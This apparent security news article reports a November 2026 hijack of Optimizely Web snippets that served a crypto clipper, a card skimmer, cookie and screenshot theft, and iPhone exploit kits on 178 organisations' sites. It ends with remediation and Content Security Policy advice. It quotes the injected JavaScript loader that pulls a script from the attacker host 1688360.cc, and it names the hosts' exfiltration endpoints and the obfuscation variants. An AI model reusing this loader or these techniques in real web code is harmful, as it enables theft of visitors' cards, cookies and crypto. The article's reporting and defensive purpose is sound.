Nov 18, 2026 · 8 min read
Optimizely Hijack Pushed Malware to 178 Major Websites
For about 16 hours on November 16, 2026, an attacker wrote a loader into the custom code field of Optimizely Web projects. The file still came from cdn.optimizely.com, so sites like Zoom, the BBC, CNN, Equifax and Ledger served a crypto clipper, a card skimmer and iPhone exploit kits to every visitor, before any consent banner appeared.
A/B testing tools exist to change a web page without touching the site's own code. On Monday, November 16, someone other than Optimizely's customers used that power. Researcher Scott Helme of Report URI found malicious JavaScript inside 188 Optimizely snippets belonging to 178 organisations, from Zoom and the BBC to HSBC and the hardware wallet maker Ledger. KrebsOnSecurity summed it up as top web destinations that "unwittingly served a variety of malware exploits against visitors."
Key Takeaways
- Report URI found malicious code in 188 of the 1,611 Optimizely snippets it checked on November 16, 2026, belonging to 178 organisations including Zoom, the BBC, CNN, Equifax and Ledger.
- Optimizely told BleepingComputer that an unauthorized party "exploited a vulnerability in the Experimentation account signup flow" to add JavaScript to customer projects, and says it has fixed the flaw and notified affected customers.
- The injected script, loaded from 1688360.cc, swapped cryptocurrency wallet addresses, skimmed card numbers typed into a site's own forms, sent cookies and screenshots to the attacker, and loaded the Coruna and DarkSword exploit kits on older iPhones and iPads.
- Report URI's on chain count shows the attacker's wallets received roughly $7,150 in crypto; how many cards, cookies or devices were compromised is unknown.
- Only 24 of the 159 affected organisations whose Content Security Policy Report URI graded (15%) had a policy that fully blocked the payload.
What Happened on November 16?
Malicious code sat in Optimizely Web snippets for most of a day. Report URI's timeline, all in UTC:
- 04:21: first Optimizely injection seen, in the BBC's snippet.
- 08:10: first build of track.js, the crypto clipper.
- 13:43: a card skimmer is added to track.js.
- 20:40 to 21:10: mass cleanup, including Ledger, Smartsheet and the BBC.
- 23:11: every infected file observed clean.
Helme counted 26 builds of the payload in one day. Optimizely posted a Web Experimentation Security Incident notice at 01:02 UTC on November 17, saying it had "fixed the vulnerability and removed the injected code from affected projects."
How Did the Attackers Get Into Optimizely Snippets?
They wrote their code into Project JavaScript, a field where customers add their own code that runs on every page, and Optimizely's CDN then served it as normal. Each Optimizely Web customer loads a snippet from a URL like cdn.optimizely.com/js/<project id>.js. The rest of the file was untouched and carried Optimizely's own certificate. Here is what was added to Zoom's snippet, per Report URI:
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
Report URI saw three variants: a plain script tag (most snippets), the same URL hidden in base64 and decoded with atob(), and a full inline copy of the payload that runs through eval if 1688360.cc is blocked. Smartsheet's snippet was cleaned and then reinfected with the base64 version, so the attacker still had access mid cleanup.
How the attacker got write access is the open question. Optimizely told BleepingComputer that the party "exploited a vulnerability in the Experimentation account signup flow," and that it blocked the vulnerable path, deployed a fix, ended active sessions, revoked tokens and reset access for affected user accounts. It has not said how a signup flaw reached unrelated customers' projects; Helme and StepSecurity both flag that gap. It was not cache poisoning: "Optimizely's CDN served exactly what it was given."
What Did the Malicious Script Do?
Every visitor got the same track.js, with four parts running at once, per Report URI and StepSecurity:
- Crypto address swapping. It found valid BTC, ETH and EVM, TRON, Solana, TON, Litecoin, Bitcoin Cash and Dogecoin addresses, checked their checksums, and replaced them in page text, forms, the clipboard and outgoing requests.
- Card skimming. From 13:43 UTC it watched form submissions for a Luhn valid card number, expiry and CVV, and sent them to 1688360.cc/card.php. Hosted payment iframes such as Stripe were out of reach.
- Cookie and screenshot theft. When it swapped an address near wallet or payment wording, it sent the page URL, every cookie not marked HttpOnly, and an html2canvas screenshot to 1688360.cc/hit.php.
- iPhone exploits. On iOS it loaded the Coruna chain for iOS 13 to 17 and DarkSword for iOS 18.x in a hidden iframe. Pages on iOS 18.6 or earlier reloaded every 60 seconds to retry.
We covered DarkSword's six flaw iPhone chain in March. StepSecurity notes that scans show exploit pages delivered, not exploits succeeding.
Which Websites Were Affected?
Report URI lists 178 organisations across 20 sectors, led by banking and finance (32), technology and SaaS (23) and retail (20). The list runs from CNN, Fox News and NPR to Equifax's sign in pages, HSBC sites in 11 markets and Ledger. Even login.optimizely.com carried the code. The Register named TalkTalk as the last snippet still infected at 21:52 UTC.
StepSecurity independently confirmed delivery for 17 domains from stored urlscan.io captures, among them CNN, the BBC, Zoom, Salesforce, GitLab and Air France. On one GitLab page, the cookie consent manager itself loaded the Optimizely file that pulled in 1688360.cc. Salesforce told BleepingComputer that "Optimizely scripts are disabled across preview and production instances" as a precaution. Report URI says the real count "is likely higher."
What Should You Do If You Visited an Affected Site?
If you visited a site on Report URI's full list on November 16, check your iOS version, any crypto transfer and your card statement. Steps drawn from Report URI and StepSecurity:
- Update your iPhone or iPad to iOS 18.7.3 or later, or iOS 26.3 or later. The kit's own comments mark those versions as patched.
- Check crypto transfers made that day. If the address you sent to does not match the one you meant to pay, it may have been swapped.
- Watch your card statements if you paid on an affected site, and ask for a replacement card if the site took card details in its own form.
- Sign out and back in on affected sites where you were logged in, so any session cookie the script copied stops working,.
Why Didn't Content Security Policy Stop It?
Content Security Policy stopped it only where the policy was strict, which was rare. Report URI crawled 256 hosts belonging to affected organisations and graded each one's Content Security Policy against what the payload needed:
- 68 organisations had no CSP at all.
- 50 had a CSP that still allowed the payload and the data theft.
- 17 ran the payload, but connect-src blocked the theft; address swapping still worked.
- 24 (15%) blocked the payload.
Allowlisting cdn.optimizely.com did nothing, because the code arrived from that host. What saved the 24 was a restrictive script-src. Two settings defeated it. One is 'strict-dynamic', which trusts any script a trusted script inserts. The other is 'unsafe-eval', which let the inline copy run at HSBC even where track.js was blocked. Optimizely's own CSP setup guide offers a simplified policy for modern browsers: script-src 'nonce-[your-nonce-value]' 'strict-dynamic'. On this attack, a site that followed that advice to the letter would have let the loader insert 1688360.cc.
Subresource Integrity does not rescue this either. SRI pins a script to a hash, but the snippet changes every time a marketer edits an experiment. Optimizely's snippet integrity guide admits it: "You cannot check the dynamic code effectively with a simple hash comparison because the code changes constantly." Its Cloudflare check hashes only the static core and leaves custom code to "internal governance processes." Project JavaScript is custom code, so the vendor's own integrity tool skips the exact field the attacker used.
What Should Site Owners Do Now?
Audit every Optimizely project, rotate what the script could reach, and tighten your policy. From Report URI and StepSecurity:
- Open every project's Project JavaScript and every experiment's custom code. Search for 1688360.cc, for atob( and for any script you did not write, including snippets served from your own domain.
- Review account access. List users, API tokens and integrations, remove what you do not recognize, rotate credentials, and ask Optimizely which projects were modified and through which accounts.
- Treat exposed data as exposed. Cards typed into your own forms on November 16, and session tokens in cookies not marked HttpOnly, should be handled as compromised.
- Deploy a strict CSP. Restrict connect-src, avoid 'unsafe-eval' and 'strict-dynamic' where you can, and turn on reporting so blocked requests to 1688360.cc show up.
- Keep third party tags off payment pages and give every vendor script a named owner.
The pattern keeps repeating. In July, Adform's hijacked ad tracker swapped wallet addresses from the clipboard. In September, a Cloudflare key hardcoded in Brevo's code let attackers rewrite its scripts on customer sites. On October 29, a hijacked DebugBear script drained Polymarket wallets, costing $3.9 million in refunds. Optimizely makes four vendor script compromises on that list since July.
What This Means for Your Inbox
Many of these visits started in an email. Bank statements, Zoom invites and retail promotions link to exactly these pages, and on November 16 a legitimate link from a legitimate sender was enough. Report URI also warns that once an affected page was open, an address copied "from anywhere else while that tab is open" could be swapped on paste, and that includes a wallet address copied out of an email in another tab.
Expect follow up mail too. Optimizely says it has notified affected customers, and Salesforce says it will notify its own if it finds unauthorized access. Phishing that borrows the news will look like those notices, so sign in by typing the address yourself.
There is a privacy lesson in Zach Edwards's comment to Krebs. He said Optimizely's code is set up "to fire immediately on-page load, and not restrict rendering behind a consent dialog box." Email has the same habit: a tracking pixel fires when you open the message, before you have agreed to anything. The DecryptAds tool Edwards cofounded is one way to see how many such vendors a site invites in.